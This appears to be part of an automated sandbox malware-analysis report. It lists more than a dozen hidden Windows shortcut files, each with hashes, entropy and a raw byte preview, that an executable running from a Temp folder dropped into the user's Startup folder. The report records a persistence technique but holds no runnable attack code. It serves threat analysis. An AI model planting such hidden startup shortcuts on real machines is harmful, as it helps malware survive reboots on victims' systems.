File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:40 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.921692341543588
Encrypted:	false
SSDEEP:	24:8QBfL8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8egEvZ0yRO7DLO2zdxdRd1kyg
MD5:	B523C35FD77723A9C8C38A5DD71E331B
SHA1:	FFD6BB50B531D1C6FA0BB5D2B4E70BFFE27AB7C1
SHA-256:	F5AF7E04DC5B86734B03D5B074F33E48B90D59007E715436D0EEE07999655CD6
SHA-512:	D4F4886BC7E3D2EE8D3319949FAEDBC57C962F4E4A11BC41AC0CCC0C0F3AA27A0E04840222823769748C14EE0C3CEE9934197464F2DAD8477E4E4C20079B821B
Malicious:	false
Preview:	L..................F....".......d......\|d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....`.\|d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_cb3770bd64ae4facbb95bb90dfd311bc.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:18 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.923040413015362
Encrypted:	false
SSDEEP:	24:8vQBfm4p8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8ve+9EvZ0yRO7DLO2zdxdRd1kyg
MD5:	32E38037B894C4478BD1F0987DA3D5BA
SHA1:	538F823A0979F4872D8C0C8D1D2A0E8C9B69D088
SHA-256:	B2FB69B223D8363F5EFBB7E8FC1C74FB258FB9F2BD0A33B543F3A1F9B875B815
SHA-512:	A8BD23A6AC0455CF9A4CBC0D89788A528CF37E15BC891137358DCABB2042AE2992BDF8DDD84A73C86FB4A3853B79380892D9E402462AA654FFB679CF46DB56A5
Malicious:	false
Preview:	L..................F....".......d...S.?(d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......'d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_cb880494154649f388587718ba6c9215.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:56 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.929678366170266
Encrypted:	false
SSDEEP:	24:8fBfh48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8p59EvZ0yRO7DLO2zdxdRd1kyg
MD5:	5B5CBABE1EFFA1773CEABBC56231742D
SHA1:	3265D55F5BB4A7923551CCE28E69F92E42C7E7AE
SHA-256:	394DFF43BD188B31258F88FEA275A3363FFCF573F8789348B5A185316445E5AB
SHA-512:	8287C2A5CDB1BC89EA4E5E446FCB079ED0B33E2653BDB102ABF335BEB20284DEED6C68331BD14CC94436E09FA4D3337C835DB0DF1D6D1ADECCA09761F6FC23D3
Malicious:	false
Preview:	L..................F....".......d......>d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....+.>d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_cba69b44adf34ca7a7f87b7f18d4d368.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:45 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.92074052175376
Encrypted:	false
SSDEEP:	24:83lBfff8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:83nXEEvZ0yRO7DLO2zdxdRd1kyg
MD5:	11AD4C9BD2CBC1D18B49A432129BA3FE
SHA1:	1FE5CAF4BB2AA55C769B39AB1DBFD237B2A9AAA0
SHA-256:	A855D450FD2C464361C28CF97D2BB2BB6A90FF0366AA7273A561F5C3DB4FE453
SHA-512:	CE96A6726F647EFD855BB79FFE1FCF16B17B720AAE626F1BF9EC8D0A29E078DEA9A19A6A1039A94EA46B1870F7EE3B61A878EB43CF5CDB21AB15D0413869D6D7
Malicious:	false
Preview:	L..................F....".......d....f..d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....{..d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_cc1f32a83c8542fdb3ef08d2045eee7e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:04 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.922608496719614
Encrypted:	false
SSDEEP:	24:8nBfEf8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8BBEvZ0yRO7DLO2zdxdRd1kyg
MD5:	228EB044062538284E7906728565A423
SHA1:	CE81F63864F73BC1AF2AFFC51F55A9A1B16B31D5
SHA-256:	98D3CAB87A05EACC491AD7457BC2F67DA7C4AEBDC0EA67A88C95E0906E6B3E15
SHA-512:	CFF3B5C3AB345115E7D8156F9834556B67EBB3E7A909008DB3ED793C0F43B09C6B2BB65B435C2677D1FDE9B01619AADF0915DD621E6B372DE1A76BB2476719B7
Malicious:	false
Preview:	L..................F....".......d....+P.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....F.d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_cc32c7736da54040b2011c22d23448a4.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:03 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.918650718821785
Encrypted:	false
SSDEEP:	24:8XBfk8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8xJEvZ0yRO7DLO2zdxdRd1kyg
MD5:	27BB0C4B253DCD415D7BCBC3B95CEB7B
SHA1:	5B32383C90D3C3D7A5593D4AC5255D16D0246ED3
SHA-256:	E2768B3A1621C597A44299B572B5E65FE7F0986EE55866EFB3972BEDE2FC6D0A
SHA-512:	D432CFEF80E991123E0C77B008F6295EA82E37AAC6436E51542F917BE9D858312A3A8400E2916BF988D5D1FC4F469F939921C0CDAE97B917AAE96AEAF0AD271B
Malicious:	false
Preview:	L..................F....".......d...\X.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ccafc754268d46878ad8d1e393464837.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:49 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.922320573721735
Encrypted:	false
SSDEEP:	24:8MBfl8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8CqEvZ0yRO7DLO2zdxdRd1kyg
MD5:	C3F48989B04679DA26F6A3F2F5A1596B
SHA1:	2CCAC09DA76CE50C0DF0623560A9AB67B578BE62
SHA-256:	86922E72601098A78BE95B42A2221C2F023D80E4F7A20AC900093220A5A7904A
SHA-512:	99FD9B30B0DB177DAE8BDD106428F72B3A306A02885F8B4A8619151810708FEE231E1BB87BF3482A0C3C6C5071B625E6EFDED34A22B1639F401E5DB282DC17AA
Malicious:	false
Preview:	L..................F....".......d.....^d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...c..^d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_cce8e502292f47f19e448bee4375b557.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:49 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.928828786891701
Encrypted:	false
SSDEEP:	24:8VpBfiD8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8FaQEvZ0yRO7DLO2zdxdRd1kyg
MD5:	990492274E091AF60C8D49597EB3B03A
SHA1:	00E3991C219D8929C7F11B122C7B51C0B09561D1
SHA-256:	21B24459CE10DE8862C143D05503F1911152099AC6F66AA2D08305141D4AA2AA
SHA-512:	A589294FA47A58C34940563A1167A9E938A687088B3590D436C825816B501F32CF10B6DA72B2A7FA6F92A68E50B57DBC9B625B2D9FAB7332DD4A26016CBC6183
Malicious:	false
Preview:	L..................F....".......d....X.:d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...R..:d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_cced82f205f241c6a8aab111ffbaad83.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:18 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.92354244327937
Encrypted:	false
SSDEEP:	24:8wQBfB8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8lOEvZ0yRO7DLO2zdxdRd1kyg
MD5:	A3ABAD5F52F26B6C8F6C31A3BD13E871
SHA1:	75FC91DE184102A3DB3EDD4A48BF1D587CCABC91
SHA-256:	FB14580B6168B0BE89FF266C03345553B8815964E277563D225F979ACA0B0E88
SHA-512:	18BE61BE3D6E1CA0C85660AA95A05FAB8FA02937D45A37718A154DE9BD2DB0D565D825F944C8C959D71BA097EB524E619B012DD34907651FB5E6BB2B010772F8
Malicious:	false
Preview:	L..................F....".......d......(d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......(d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_cd2304c8038143d8aa8f6aab6f85144e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:57 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.920114707163857
Encrypted:	false
SSDEEP:	24:82Bfk8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:88JEvZ0yRO7DLO2zdxdRd1kyg
MD5:	AF3CDF0DF5772B14A94087F2D0004CCF
SHA1:	E859C1545C4B195FD86F7848906F940AFF7CF281
SHA-256:	68FC11FEE9ED49DCC6B4FF558E9B78240D391C79F530041A6DC71788E8B7A63E
SHA-512:	3B2A934594770B6E6042BEC52397686D29461FD9725377AF210A2CD0F99195727ADCB3C53A002906478BB44C02EC2909713B5D09DD912E81AE4F274F1D3497C8
Malicious:	false
Preview:	L..................F....".......d...5.9.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....(.d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_cd578e914bf84f60934aa8e92c09c9a7.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:48 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.919948100236219
Encrypted:	false
SSDEEP:	24:8S3BfP8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8GMEvZ0yRO7DLO2zdxdRd1kyg
MD5:	928B4C3FF54997E0E901CDBF1980B91E
SHA1:	AA181D7C3F56D9C748060A9EB77B32590457211F
SHA-256:	6B682DFCFE87617D5532B4D6205A4A3EB527897DB091CB208FA321BE2086F2AF
SHA-512:	E5057BDBCCD71F7825C1B01829627FC811D8B48EC5BB95BEC142809112D33A141CE50BC57EF363146D5CB40DD59BB0DDF0E1B270D9F196994DCFD1AF9ACFEF7A
Malicious:	false
Preview:	L..................F....".......d...H..]d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...rIm]d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_cd65a8ba5aa64527b9412bd7d63a9f2c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:49 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9217803287419235
Encrypted:	false
SSDEEP:	24:8dyBf98EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8dgyEvZ0yRO7DLO2zdxdRd1kyg
MD5:	F61B6BD26647F76BEDE6F3547EBFE9F2
SHA1:	EF35777EF312E67841CB385310A8B6CA3A21563A
SHA-256:	A5D7D711501D15CBFF07DB57B248BE7251DEF6F74E86A88EA1C99A72D735E783
SHA-512:	4F91C1B1DD982DFE9967A081E39D60FE919DE7518375DBF286F83EB328D01A0A2D23344D271022F52A46EF077E67B2450DFB9DDDE6F9E4C11C6DFFBF84FABB57
Malicious:	false
Preview:	L..................F....".......d... ..^d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......^d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_cdb09e8fa2ed4c34b49da65184cc0f92.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:09 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.928396870595956
Encrypted:	false
SSDEEP:	24:8YBf08EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8W5EvZ0yRO7DLO2zdxdRd1kyg
MD5:	0B9C198A700981E004F04106B6EFF4DB
SHA1:	FF22133FE6E3A6A1977EABD6B38715EF2383C412
SHA-256:	3FEFECB70E9CFD7506D8149C91830291575F4D209AA6B8361FDD13F1E1278F23
SHA-512:	92E3282BCFCA33EE9FF58EC5E2DF3EE2B23662A5128B1B7BFFC6C76761B741D2651BC1C3685CA818D85D23B566E200CDADC78AE297CFEA9F3407E9807DC9BE7D
Malicious:	false
Preview:	L..................F....".......d......#d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...;#."d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_cdd0375322dc48738e770e5624bf6a27.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
